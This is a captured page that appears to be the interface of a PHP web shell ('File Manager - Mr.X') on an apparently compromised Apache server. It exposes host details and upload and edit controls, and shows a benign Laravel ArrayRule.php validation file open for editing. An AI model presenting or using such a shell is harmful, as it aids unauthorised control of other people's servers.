🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:ArrayRule.php
<?php namespace Illuminate\Validation\Rules; use Illuminate\Contracts\Support\Arrayable; use Stringable; use function Illuminate\Support\enum_value; class ArrayRule implements Stringable { /** * The accepted keys. * * @var array */ protected $keys; /** * Create a new array rule instance. * * @param \Illuminate\Contracts\Support\Arrayable|array|null $keys */ public function __construct($keys = null) { if ($keys instanceof Arrayable) { $keys = $keys->toArray(); } $this->keys = is_array($keys) ? $keys : func_get_args(); } /** * Convert the rule to a validation string. * * @return string */ public function __toString() { if (empty($this->keys)) { return 'array'; } $keys = array_map( static fn ($key) => enum_value($key), $this->keys, ); return 'array:'.implode(',', $keys); } }
Save Changes
Cancel
Create New File
Create New Folder